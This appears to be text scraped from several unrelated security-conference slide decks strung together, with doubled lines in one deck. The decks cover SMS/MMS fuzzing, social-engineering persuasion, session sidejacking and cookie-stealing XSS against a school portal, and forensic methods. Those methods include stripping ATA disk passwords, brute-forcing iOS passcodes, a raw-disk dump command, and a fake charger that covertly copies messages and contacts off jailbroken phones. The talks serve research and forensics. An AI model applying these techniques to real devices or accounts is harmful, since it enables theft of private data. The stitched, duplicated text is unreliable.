这个系列就叫“如何挖掘战壕”系列: 架构设计和简述 IP和域名 C2工具(CobaltStrike) 前置器 自动化部署
pdf
Blowing up the Celly Building Your Own SMS/MMS Fuzzer Brian Gorenc, Manager, Vulnerability Research Matt Molinyawe, Security Researcher © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 2 Agenda •  Introduction •  Bug Hunting •  Testing Environment •  Live Demonstration •  Key Takeaways © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Introduction © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 4 whois Brian Gorenc Employer: HP Organization: HP Security Research Zero Day Initiative Responsibilities: Manager, Vulnerability Research Organizing Pwn2Own Hacking Competition Verifying EIP == 0x41414141 Free Time: Endlessly following code paths that don’t lead to vulnerabilities Twitter: @MaliciousInput, @thezdi © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 5 whois Matt Molinyawe Employer: HP Organization: HP Security Research Zero Day Initiative Responsibilities: Security Researcher Enjoying funny and awesome proof of concepts Measuring my productivity in hours of YouTube watched Process Janitor – Make exploits shine and not crash Calc Connoisseur Free Time: DJ Manila Ice – Two time United States Finalist DJ Scratched on 2014 Pwnie nominated song “Security Kate” Beat Contra using only the laser without death Beat QWOP Martial Arts Twitter: @djmanilaice © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 6 “Do-It-Yourself” Fuzzing SMS/MMS is an interesting topic Always-on technology Limited in-line defenses Limited update capabilities Every researcher will have a different take on the problem Usually roll their own fuzzer along with mutation logic Aim for this talk is to demonstrate approaches to get started in phone fuzzing Using Android as the reference device for research/demonstration © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Bug Hunting © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 8 Messaging Services Short Message Service (SMS) 3GPP TS 23.040 Store and forward technology Supports different character sets and extended messages Multimedia Messaging Service (MMS) Specifications maintained by Open Mobile Alliance Enables the transfer for audio, video, and pictures Messages forwarded through Multimedia Messaging Service Center Commercial Mobile Alert System (CMAS) Distribution of text-based alert messages •  Presidential, Imminent Threats, AMBER Alerts Cannot opt out of Presidential Alerts Delivering the payload © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 9 File Formats Audio "audio/aac”, "audio/amr”, "audio/imelody”, "audio/mid”, "audio/midi”, "audio/mp3”,"audio/ mpeg3”, "audio/mpeg”, "audio/mpg”, "audio/ mp4”, "audio/x-mid”, "audio/x-midi”, "audio/x- mp3”, "audio/x-mpeg3”, "audio/x-mpeg”, "audio/x-mpg”,"audio/3gpp”, "audio/x-wav”, "application/ogg" Video "video/3gpp”, "video/3gpp2”, "video/h263”, "video/mp4” Pictures "image/jpeg”, "image/jpg”, "image/gif”, "image/vnd.wap.wbmp” ,"image/png”,"image/ x-ms-bmp” Others "text/x-vCalendar”, "text/x-vCard" Easy File Format Candidates to find: •  https://github.com/klinker41/android-smsmms/blob/master/src/com/google/android/mms/ ContentType.java •  Download AOSP (http://source.android.com) •  Source from Samsung (http://opensource.samsung.com/reception.do) •  rgrep for mime, image/, audio/, video/ © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 10 Fuzzing Framework Fuzzing Seeds https://samples.libav.org/ http://samples.mplayerhq.hu/ Google out some file formats with filetype: operator Mutation Libraries Creating vcards and vcal •  http://vobject.skyhouseconsulting.com/ •  https://pypi.python.org/pypi/vobject Fuzzing pdu formats •  https://pypi.python.org/pypi/smspdu/ Fuzzing libraries Hachoir •  https://bitbucket.org/haypo/hachoir/wiki/Home Radamsa •  https://www.ee.oulu.fi/research/ouspg/Radamsa •  https://code.google.com/p/ouspg/wiki/Radamsa Crash Triaging Very easy to roll your own gdb wrapper and create a web app with database backend to distribute load © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Testing Environment © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 12 Virtual Lab and Configuration Android Emulation Easy to attain-> http://developer.android.com/sdk Creating Virtual ARM devices is simple: •  android create avd –n MyDeviceName –t android-19 –b default/armeabi-v7a •  Use the UI with: android avd Write scripts to generate the AVDs and to power them on iOS Emulation No default Messaging app on emulator But don’t let that stop you from opening multimedia files Windows Phone Emulation Pull the SDK from here: http://dev.windowsphone.com/en-us/downloadsdk © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 13 Android Emulator Options Android SDK Benefit of testing with several API versions •  ARM images •  x86 images Emulations tend to be slow Genymotion Fast x86 Virtualbox Virtual Machines User-friendly interface Available at genymotion.com Cheaper than phones because they’re free to create © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 14 Debugging Attaching a debugger to the Virtual Device On the Android Virtual Device: •  Shell into device •  Run gdbserver attached to the process “com.android.mms” and mediaserver -  gdbserver :5039 –attach 1234 •  Forward traffic to a tcp port -  adb forward tcp:5039 tcp:5039 On your host machine: •  Download Android NDK: http://developer.android.com/tools/sdk/ndk/index.html •  Run a prebuilt gdb in there: arm-linux-androideabi-gdb for example •  Run the following command in the debug session: -  target remote :5039 Attach, control and catch output of the debugger with Python. Push debugger output to webapp/database. Now you’re debugging! © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 15 Scripting/Automation for Emulators SMS fuzzing on emulators: Send PDU formatted messages with “send pdu” over the telnet channel •  Lots of prior research in this area. Initial fails with MMS – Repetitive failures you learn from can lead to your success Tried for weeks to get MMS networking working with emulators. It’s ok to give up sometimes. Backing up your MMSs Look at EasyBackup •  Installed this application to an emulator •  Was able to restore my MMS messages from my phone to an emulator •  Win!!! Yes it’s possible to create MMS messages on the emulator! Looked at code and other things on the net Was able to determine you can just manipulate mmssms.db (a sqlite database) without having to write Java (Hooray! Matt is a burnt out Sun Certified Enterprise Architect) © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 16 Scripting/Automation for Emulators Save clean mmssms.db and compare with changed database adb pull your clean database, make changes and then push the new database •  Interesting directories –  /data/data/com.android.providers.telephony/databases – where mmssms.db is –  /data/data/com.android.providers.telephony/app_parts – where attachments go Send MMS to fake number Alter tables: pdu, addr, part, canonical_addresses, and threads •  Easy to automate this with Python and sqlite3 Push the altered mmssms.db back to the phone Make sure your set permissions back to radio:radio Monkeyrunner http://developer.android.com/tools/help/monkeyrunner_concepts.html •  Use this to click on the phone or to send text •  Effectively it is Jython scriptable automation in SDK tools © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 17 Multimedia Fuzz Case Generation and Deployment © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 18 Mangled Test Case © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 19 Real-World Lab and Configuration Hardware RX/TX •  Universal Software Radio Peripheral (USRP) •  BladeRF •  RangeNetworks Device Emissions Control •  RF Enclosure Software OpenBTS - http://www.openbts.org/ Base Station Information - http://openbsc.osmocom.org/trac NanoBTS - http://openbsc.osmocom.org/trac/wiki/nanoBTS Debugging Tools – usually come with the platform or you pay for one Cell Phones and other materials Your favorite cellphone target to fuzz SIM cards Photo: HP ZDI © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 20 OpenBTS Setting up OpenBTS https://github.com/RangeNetworks/dev/wiki Used Ubuntu 12.04 32-bit on a VM Building and Finding Binaries for OpenBTS These were heavily referenced •  https://wush.net/trac/rangepublic/wiki/BuildInstallRun •  svn co http://wush.net/svn/range/software/public Built with --with-uhd (Ettus N210 USRP) For ease, we built the transceiver from the svn checkout and installed the 4.0 binaries UHD Drivers for Ettus N210 support Available here: http://code.ettus.com/redmine/ettus/projects/uhd/wiki/UHD_Linux Use the following commands to talk with the USRP once UHD drivers are built: •  uhd_find_device •  uhd_usrp_probe © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 21 USRP/Antennas/Cabling Ettus N210 USRP VERT900 Antennae SMA Cable © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 22 RF Enclosures Ramsey STE3000FAV: http://www.ramseytest.com/product.php?pid=10 © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 23 Cells Phones/SIM Cards Take your pick on Cell phones Android iPhone Windows Phone etc. GSM We set up a GSM network to look like an AT&T Network with the USRP in the enclosure •  Set GSM.Identity.MCC to 310 •  Set GSM.Identity.MNC to 410 SIM Cards Purchase these from “big box” stores © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 24 Our Bill of Materials USRP and Accessories USRP N210 Kit (782747-01) - $1,717.00 WBX-40 USRP Daughterboard - $480.00 USRP GPS-Disciplined Oscillator Kit - $758.00 SMA-to-SMA Cable Assembly - $30.00 VERT900 Vertical Antenna Dualband - $35.00 Total: $3,020.00 Cell Phones and SIMs Unlocked Phones ~ $500 Pre-paid SIMs ~ $10-$20 Micro SIM Cutter Tool ~ $5 Total: ~$550 RF Enclosure and Accessories STE3000FAV - $2,495.00 SMA Feedthrough Connectors DB9 10 PF and DB9 100 PF Connectors USB, RJ45 Adapter Kits Total: $3,096.00 © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 25 Connecting to the USRP on Android © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 26 Connecting to the USRP on Android © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 27 Time To Blow Up The Celly Messaging From Within The RF Enclosure © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 28 Starting up OpenBTS © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 29 System Ready © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 30 tmsis – Check Devices Connected © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 31 Sending Messages with OpenBTS © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 32 Basic Text Messages © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Live Demonstrations © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 34 Emulator Crash Video © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Key Takeaways © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 36 Blow Things Up! Attractive targets Filled with personal information and corporate secrets Process information without user interaction Handle large number of legacy formats Decreasing barrier to entry Leverage emulation provided by OS developers Physical hardware becoming cheaper Popularity of software defined radio increasing Leverage previous lessons learned Similar to fuzzing desktop apps to find bugs in MMS data handlers Break through the mystique of cell phone research © Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Thank you
pdf
The Science of Social Engineering Mike Murray / Anton Chuvakin [email protected] [email protected] NLP, Hypnosis and The Science of Persuasion Outline ✴ The Basics ✴ Social Engineering and Persuasion ✴ The Language of Influence ✴ Framing - Context over Content ✴ Hypnosis ✴ The art of communication ✴ Putting it all together The Language of Influence ✴ Language is the prime mode of influence ✴ What is the differentiates skillful use of language? ✴ Language is the programming language of the mind ✴ The Main Functions of Language (and the mind) ✴ Deletion ✴ Distortion ✴ Generalization ✴ The Meta Model and The Milton Model ✴ Precision and Artful Vagueness Framing ✴ Context Is More Important than Content ✴ Human Nonlinearity ✴ The Cognitive Frame ✴ How do I establish a context for influence? ✴ Cialdini - The Master of the Frame ✴ Moving and Controlling Frames ✴ What Color is Your Parachute? The Language of Influence ✴ Language is the prime mode of influence ✴ What is the differentiates skillful use of language? ✴ Language is the programming language of the mind ✴ The Main Functions of Language (and the mind) ✴ Deletion ✴ Distortion ✴ Generalization ✴ The Meta Model and The Milton Model ✴ Precision and Artful Vagueness Hypnosis ✴ Hypnosis is not what you think it is. ✴ Dave Elman: "a state of mind in which the critical faculty of the human mind is bypassed, and selective thinking established." ✴ Traditional Hypnosis ✴ Structured attention ✴ Milton’s (and Grimm’s) Art ✴ Use (apparently) unstructured attention ✴ Patterning and framing through metaphor ✴ The Mental Buffer Overflow Back to Social Engineering ✴ Bringing it back to the real ✴ Structured Examples of Reality ✴ Social Engineering is All About Framing ✴ Back to Cialdini - pick your frame ✴ Use language artfully within the engagement ✴ Putting it all together Thanks Mike Murray / Anton Chuvakin [email protected] [email protected]
pdf
Hacking E.S.P. Hacking E.S.P. Disclaimer Disclaimer The views and opinions expressed in this The views and opinions expressed in this presentation are solely those of the presentation are solely those of the speakers and do not necessarily reflect speakers and do not necessarily reflect opinions of their employers, Defcon, the opinions of their employers, Defcon, the Riviera, residents of Las Vegas, residents Riviera, residents of Las Vegas, residents of Nevada, anyone in the United States or of Nevada, anyone in the United States or on the Planet Earth.  Nothing we are saying on the Planet Earth.  Nothing we are saying should be construed as legal advice.  Don't should be construed as legal advice.  Don't rely on anything that we say, do your own rely on anything that we say, do your own research. research. Who We Are! Who We Are! Joe Cicero is currently a Network Specialist Instructor for Joe Cicero is currently a Network Specialist Instructor for Northeast Wisconsin Technical College, he specializes in Northeast Wisconsin Technical College, he specializes in teaching Linux, Network Security, and Computer Forensics teaching Linux, Network Security, and Computer Forensics Courses. Joe has had positions covering every aspect of Courses. Joe has had positions covering every aspect of computers including: Help Desk Support, Technician, computers including: Help Desk Support, Technician, Programmer, Network Administrator, Directory of Technology, Programmer, Network Administrator, Directory of Technology, Columnist and of course Instructor. He is most passionate Columnist and of course Instructor. He is most passionate about teaching and enjoys having the time to "tinker" with all about teaching and enjoys having the time to "tinker" with all types of technology. types of technology. Michael Vieau is a independent security researcher located in Michael Vieau is a independent security researcher located in United States where he conducts security assessments & United States where he conducts security assessments & penetration tests on new and existing technology for various penetration tests on new and existing technology for various customers (and sometimes just for fun). His main focus is on customers (and sometimes just for fun). His main focus is on *NIX security, mobile devices, and wireless security. He comes *NIX security, mobile devices, and wireless security. He comes from a wide technical background ranging from network from a wide technical background ranging from network infrastructure, to programming, instructing, & of course security. infrastructure, to programming, instructing, & of course security. Why we did the research Why we did the research Almost everyone has dealt with an Almost everyone has dealt with an educational institution some time in educational institution some time in their life. their life. Educational Institutions must keep your Educational Institutions must keep your personal / confidential information. personal / confidential information. ESP login ESP login Wireshark Capture Of Login Wireshark Capture Of Login Login page code – Oh, it’s using Login page code – Oh, it’s using javascript! javascript! What if javascript is off? What if javascript is off? Capture with javascript on… Capture with javascript on… What is javascript doing? What is javascript doing? Can we decode it? – Yes! Can we decode it? – Yes! How many schools use this ESP How many schools use this ESP insecurely? insecurely? Over 34,000! Over 34,000! What we know now… What we know now… It is possible to steal a username and It is possible to steal a username and password… password…  on a network with hubs on a network with hubs  on a network with switches (arp poison) on a network with switches (arp poison) o  on a wireless network on a wireless network This username and password is used for This username and password is used for other accounts. other accounts. However, there might be a log of an However, there might be a log of an attackers activity. attackers activity. Sidejacking… Sidejacking… How can we hide our activity? How can we hide our activity? Instead of Hijacking the login and Instead of Hijacking the login and password – Sidejack it by piggybacking on password – Sidejack it by piggybacking on the users session. the users session. Is anything left on PC – file, file Is anything left on PC – file, file modification, registry entry? modification, registry entry? No, not even a cookie? No, not even a cookie? What’s this session ID doing? What’s this session ID doing? Here, logged in as Bob. Here, logged in as Bob. Here is Bob’s session Id, pasted Here is Bob’s session Id, pasted below is Jan’s. below is Jan’s. Bob’s session ID replaced with Bob’s session ID replaced with Jan’s. Jan’s. I became Jan! I became Jan! When do you get the Session ID? When do you get the Session ID? Before login! Before login! Why is this dangerous… Why is this dangerous…  Could lead to a local exploit where user Could lead to a local exploit where user copies session id before someone logs in. copies session id before someone logs in.  Remote exploit that captures this info and Remote exploit that captures this info and sends it off. sends it off. What other vulnerabilities can we What other vulnerabilities can we find? find? XSS? XSS? Can we insert code? Can we insert code? What can we do with the code? What can we do with the code? What else can we do? What else can we do? Does it allow us to use tags? Does it allow us to use tags? Yes! Yes! So what? So what? After you have found an XSS hole in a After you have found an XSS hole in a web application on a website, check to see web application on a website, check to see if it issues cookies. If any part of the if it issues cookies. If any part of the website uses cookies, then it is possible to website uses cookies, then it is possible to steal them from its users. steal them from its users.  http://www.cgisecurity.com/articles/xss-faq.shtml http://www.cgisecurity.com/articles/xss-faq.shtml  Remember the session hijacking! Remember the session hijacking! Surely there are no other issues! Surely there are no other issues! How do these applications work? How do these applications work? What else can we do? What else can we do? Find some hidden capabilities! Find some hidden capabilities! Hmmm - 131 not listed Hmmm - 131 not listed Can we add it? Can we add it? What did we get? What did we get? But testing requires an account – But testing requires an account – right? right? Do you have to brute force username and Do you have to brute force username and password scheme? password scheme? Do you have to register for a class to learn Do you have to register for a class to learn these things? these things? Brute Force – Why they tell you! Brute Force – Why they tell you! Register for a class? – No! Register for a class? – No! To lazy to create an account? To lazy to create an account? Other Applications. Other Applications. How can you find other applications that How can you find other applications that these institutions are running? these institutions are running? How do you know if they sync up the How do you know if they sync up the passwords? passwords? How do you know if they run wireless? How do you know if they run wireless? Ask them… Ask them… We sent them an Email! We sent them an Email! E-mail Responses… E-mail Responses… Are breaches that common? Are breaches that common? How often do these breaches happen? How often do these breaches happen? What type of information is leaked? What type of information is leaked? Apparently Apparently What do we think is the cause? What do we think is the cause? Educational institutions are fighting for Educational institutions are fighting for your dollars. your dollars. They feel the need to “keep up with the They feel the need to “keep up with the Jones’.” Jones’.” Security comes after functionality. Security comes after functionality. Some colleges outsource their IT Some colleges outsource their IT department and the company wants to department and the company wants to standardize. standardize. Many thanks to… Many thanks to… Ben Dyer - researcher Ben Dyer - researcher Samantha Ley – researcher Samantha Ley – researcher Tom Burke - researcher Tom Burke - researcher Arcnet Dipswitch - researcher Arcnet Dipswitch - researcher Contact Us Contact Us [email protected] [email protected]
pdf
數位鑑識與資料救援前瞻性研究 主講人: thx (張道弘) 1 什麼是數位鑑識? 數位鑑識也稱為電腦鑑識,是一門有效解 決資通安全與電腦犯罪難題的科學。 其定義為:以一定程序保存、識別、抽 取、記載及解讀電腦或網路媒體 ...。 數位鑑識以及偵查的方式,在案件的偵 查,透過軟體並有流程,拿取一些儲存於 儲存裝置,可有助於案情釐清以及曝光。 2 司法單位所用的儲存媒體鑑識技術 使用:Encase,Winhex,R-Studio, FTK imager ,Helix Live CD純軟體 做邏輯區分析處理。 資料讀取出來,純做數值運算,撈取資料 如果是主流 File System 現行商用軟體已 非常成熟.技術公開透明。 3 數位鑑識技術生活化應用 此外以下狀況也會運用到數位鑑識技術 但是要注意法律: 無故以不正方法侵犯他人隱私 知悉之他人秘密,即為妨害秘密罪 徵信社 商業或特務間諜 公司管理人員查詢使用者電腦行為 家長調查查詢家庭小孩電腦行為 4 數位鑑識法理性流程 由於數位證據容易被修改,因此若要做為法 律證物,要有一定流程,校驗程序以保障證物 沒被修改. 在設計數位鑑識軟體上因此需加入 1.專案管理. 2.對每次數位證據操作有記錄 3.對主數位證物檔有HASH記錄.以確保數位 證據沒被修改. 5 基層的警員以及偵查隊需要做更高技術層次 數位鑑識,須透過專門的偵查部門才有設備 跟研究人員才能進行取證,會嚴重影響到辦 案進度及只有重大案件才能用上這些技術. 實際上 如果瞭解底層技術,透過了解其原 理以及運作模式的情況下,可以用普通的設 備或軟體達到接近專業效果 困難度高的數位鑑識 6 高難度鑑識 :ATA 加密與解密 加密為 ATA 規範的一部分,用於保護硬碟資料。ATA 密碼 長度為 32 位元,包括:User Password 和 Master Password (Master Password 僅用於解除 User Password 而並不會鎖住 硬碟)。 ATA 密碼的設置是由 ATA Protocol "Security SetPassword" 指令組完成的。執行 Security Set Password 指令後,在硬碟下 次重新啟動後密碼就會生效。 ATA Password 存在電路版上外也記錄在碟片模組上 (在碟片上的故軔體+參數通稱為模組). 因此更換電路版無法解密。 ATA 密碼保護的硬碟初始化 ATA 待命訊號正常,但僅回應有限 的 ATA 指令,如設備識別型號指令,序號識別指令等等,但不 允許讀取硬碟上的資料。 7 ATA 加密與解密 用戶如何判斷硬碟被設定 ATA 加密? 1.硬碟在BIOS中可以正確識別(包括型號,序列號,LBA 等 等)。 2.所有的扇區都不可讀取(發生 ABRT 錯誤)。 3. BIOS 可能會提示要求輸入密碼或者直接給出硬碟被密碼保護 的訊息;當使用系統安裝碟或者 DOS 啟動碟讀取硬碟時會停 止,並提示 錯誤訊息,如 Xbox 1 一代的 8 GB Seagate 硬碟就 啟用 ATA 加密,在一般電腦上必須解密才可使用。 8 解開 ATA 加密硬體設備 使用昂貴幾十萬的設備處理如 ACELab PC3000 UDMA Acelab 由俄國Таганрогского 無線電工程學院 ТРТИ 教授於1991成立,為最早逆向工程硬碟指令公司 並推出各種Data Recovery領域套裝設備。 9 可以一般軟體解開 未知ATA 加密 一. 需要能直接發送ATA Command .HBA 需要關掉AHCI 模式.建議最好用IDE 硬碟介 面控制卡. 二.軟體使用Victoria for windows+MHDD in dos可直接發送ATA Command 指令 10 在MHDD下 顯示 硬碟已 被加密 解開 ATA 加密 11 執行如圖ATA Command 指令集 產生出 21.bin 及 22.bin 兩個檔案此為硬 碟模塊檔 解開 ATA 加密 12 解開 ATA 加密 用 UltraEdit 打開22.bin 13 一,密碼起始位置可能不同,但排列與長度 是相似. 二,0x137 偏移位置 07指出 ATA 加密等級 三,紅色區域為User Password使用者密碼 四,綠色區域為Master Password主密碼 五,選擇紅色+綠色區域並另存檔案. 六,執行 Victoria in Windows 解開 ATA 加密 14 必需以PIO方式連接硬碟 解開 ATA 加密 15 右下F按下去導入密碼檔 解開 ATA 加密 16 成功解除ATA Password 解開 ATA 加密 17 原理:28 bit ATA Command Set 18 數據恢復資料數據導引 . 對於不良讀取的硬碟 通常需要專業的數據導出設備才能達到 主要概念為 跳過不可讀出的區域. 有下面幾種方法. 1.ATA Hardware Reset 2.ATA Software Reset 3.Power Reset 4.磁頭區 Zone 計算,可關閉不正常讀寫頭運作 19 UDMA DE 強拷資料操作畫面 20 強拷機自製硬碟斷電電路 21 自寫強拷程式 22 Flash 資料救援取證 23 SD Card PCB 板 24 8GB Nand Flash 25 將晶片放入編程器 26 蘋果公司的IOS產品相當熱門,且市占率較 高,所以在數位鑑識以及蒐證時常常會遇 到這類設備,由於蘋果IOS為封閉式的系 統,相較於android系統在取證上以及破解 上難度較高. IOS 數位鑑識方法與原理 27 iOS 文件分區系统 HFS+(HFS PLUS)是蘋果公司為蘋果公司為他們的分 層檔系統(HFS)開發的一種檔系統,主要運用於Mac os電腦和 iphone等終端上。 System分區為系統分區,大小為1G左右, 主要包含iOS的系統檔。 User分區為用戶分區,大小取決於設備的 型號,一般為15G、31G、64G,主要存儲用 戶的個人數據,大多數User分區的個人檔都 是加密。iPhone3G除外,因為iphone3G沒 有加密硬體。 28 iOS Raw Disk 的加密 * 在IOS 4 + A4 CPU 之後,蘋果有鑑於加密問題.對於NAND Flash 做了扇區AES 加密. 解密前 解密後 29 IOS鑑識軟體 原始碼 不管是5-40萬數位鑑賞軟硬體 都是使用 Sogeti 研究室的Iphone data protection 自由軟體專案 專案位置 http://code.google.com/p/iphone- dataprotection/ 可自由下載 30 * 加載ramdisk 由於原始IOS kernel 有加密AES 加密核心. 目前IOS A4 CPU之前機種,由於有bootrom exploit ,因此可使用自 定Kernel 啟動後做NAND Disk Image Dump 與分析破解. iOS 設備進入 DFU 模式之後,會自動呼叫出Redsnow軟 體,Redsnow 會對DFU 模式下做bootrom exploit , 就可掛載 ramdisk。不同的設備,所需RAM DISK 也不同,軟體已經簡化,圖形 選擇正確的型號之後便可,ramdisk 掛載完成後,iOS 設備螢幕將 顯示蘋果 Logo 和一個空進度條。 31 * A4 CPU 獲取檔鏡像 。 iOS 設備進入定製Kernel RAM DISK開機後,就可對系統做直接 操作。User 分區包含了大量的用戶個人資料,因此是取證的主要獲 取對象。 iOS 4之後. User 分區的檔都是加密的,解密這些檔所需要到的 金鑰都必須從這臺設備裏面獲取。 iPhone3G 設備沒有加密硬體,所以即使iPhone 3G設備運行了 iOS 4.X,User 分區也是沒有加密的。 32 * Key和keychain 擷取加密金鑰和keychain data 設備進入DFU 模式,加載ramdisk後 提取key和keychain data。 iOS設備進入DFU模式之後,我們可以提取解密User分區檔和 keychain數據所需要的keys,確定ramdisk已經加載後 我們將可以獲得以下資訊: iOS 密碼:可以透過暴力破解來獲得密碼。 Escrow檔:如果你能接觸到iOS設備連接和同步過的電腦,那麼你可 以利用從這些電腦中獲取Escrow檔無需設備密碼即可解密所有存儲在 iOS設備上的檔,Escrow file的檔以設備的UUID來命名。 Escrow檔的路徑為 win xp: %ALLUSERSPROFILE%\Application Data\Apple\Lockdown\ win 7 :%ALLUSERSPROFILE%\Apple\Lockdown\ 33 * 暴力密碼破解 加載ramdisk後執行暴力破解程式可恢復設備的密 碼。 iOS設備進入DFU模式之後.確定ramdisk已加載 成功後,主菜單上選擇,設備的密碼恢復操作開始,程 式將會常識恢復4位數純數字簡單密碼,恢復4位數的 純數字所需要的時間一般不超過10到30分鐘取決於設 備的類型。 34 * 鏡像解密 解密已經加密的分 區鏡像需要提供已 加密的分區鏡像和 設備key,解密過 程可以不連接iOS 設備完成。 在主菜單上選擇選 項,便會解密完成 後。 35 數位鑑識軟體開發思維 此為某位講者開發商業軟體操作說明 ,前線調查人員 會有辦法熟練應用? ./win32/itunnel_mux.exe --decrypt --wtf common/WTF.8900 --ibss common/iBSS.n82 --kernelcache common/kernelcache.n82 --devicetree common/DeviceTree.n82 --ramdisk common/ramdisk-4.dmg .\win32\ssh.exe -c null -m hmac-md5-96 -p 2022 root@localhost dd bs=1M if=/dev/rdisk0s1s1 | .\win32\dd.exe bs=1M of=output-file -- progress 36 就算只是用DOS批次檔,能合需求 數位鑑識軟體開發思維 37 改以wx python 開發 批次檔直接轉 可以看到大部分都是相同的選項 數位鑑識軟體開發思維 38 數位鑑識軟體開發思維 再度修正版 在這版本已經增加了許多功能 包含專案建檔與管理 多語系的支援 免暴力破快速讀取重要資訊 Whatsapp 讀取解密. 39 * Wifi與apple ID wifi帳號密碼和APPLE ID帳號 從提取到的keychain.txt裏面可以查看到iOS設 備的wifi連接的帳號密碼以及APPLE ID: 40 * 系統密碼與key.plist 系統鎖屏密碼, 利用工具箱可以暴 力破解系統密碼 獲取到解密用的 key.plists iOS設備的Escrow 檔 41 AFC ios上運作的AFC (Apple File Connection) 服務是從iPod (2001) 時代 就有的,其協定為 usbmux 越獄後程式會對iOS 啟動增加名為 AFC2 服務 為了求整個系統掌控權. AFC2 會修改 /System/Library/Lockdown/Services. plist 增加 root 權限 42 JB 後對 AFC的影響 iOS 裝置在越獄後檔案系統權限取得最大 可以使用 AFC 直接拉取 iOS 整個檔案權限 並且鎖屏密碼也無效 下面為重要的個人資料檔案 /private/var/mobile/Library/AddressBook → 通訊錄 /private/var/mobile/Library/CallHistory → 通話記錄 /private/var/mobile/Library/SMS → 訊息 /private/var/mobile/Library/Calendar→ 日曆 因為越獄後 AFC2 服務就會自動啟動,不需要額外裝cydia 套件 .如 openssh server ,或是修改root password也無用 也可應用於A5 硬體IOS裝置 做為數位鑑識應用 43 * SMS 在 /private/var/mobile/Library/SMS 目錄下的 sms.db 中存放著設備的短資訊,可以用 sqllite 工 具查看 44 * 通話記錄 在 /private//var/wireless/Library/CallHistory下的 call_history.db 中存放有系統的通話記錄檔,可以用 sqllite 工具查看 45 * 通訊錄 在 /private//var/mobile/Library/AddressBook下的 AddressBook.sqlitedb 中存放著設備的通訊錄,可以 用 sqllite 工具查看 46 * 日曆 在 /private//var/mobile/Library/Calendar 下的 Calendar.sqlitedb 檔中保存著系統的日曆檔,可以利用 sqllite 工具查看 47 Browser書簽 在 /private/var/mobile/Library/Safari 下的 Bookmarks.db 保持著流覽器的書簽,可以用 sqllite 工 具打開查看 * 48 * 歷史訪問記錄 在 /private/var/mobile/Library/Safari 下 History.plist 中可以查詢網頁瀏覽器的瀏覽紀錄,直接用 記事本即可打開查詢 49 * 圖片和語音 照片和圖片 在 /private/var/mobile/Media 下的 DICM 和 photo 中分別保存相機照片和相冊檔,可直接下載瀏覽 電子書和PDF檔 在 /private/var/mobile/Media/Books 目錄下保 存著 epub 格式的電子書和 PDF 檔,可以直接打開瀏覽 錄音檔 在 /private/var/mobile/Recordings 中保存著系 統的錄音檔,可以直接打開 50 Whatspp 解密 51 既然IOS 取證程式在 Windows 下工作正常, 我們研究是否能在 embedded system上工作. 當已越獄 iOS 行動裝置插上偽充電器 (實際是 embedd system ) 在"充電"時 ,此系統就會自動把重要資料如通訊錄,簡訊,連絡人, whatsapp 記錄等備份在embedded 設備內 使用一般電腦上瀏覽器 再連入此"充電器" 直接觀看所有記錄。 充電器可能暗藏陷阱 52 libimobiledevice+usbmuxd 使用迷你嵌入式系統偽裝充電器 工作原理: 本演講的部份程式碼,與詳細原理 歡迎到http://www.osslab.com.tw/ 參考 53
pdf
Instrumenting Point-of-Sale Malware A Case Study in Communicating Malware Analysis More Effectively Robert Wesley McGrew, Ph.D. Assistant Research Professor Department of Computer Science and Engineering Distributed Analytics & Security Institute (DASI)
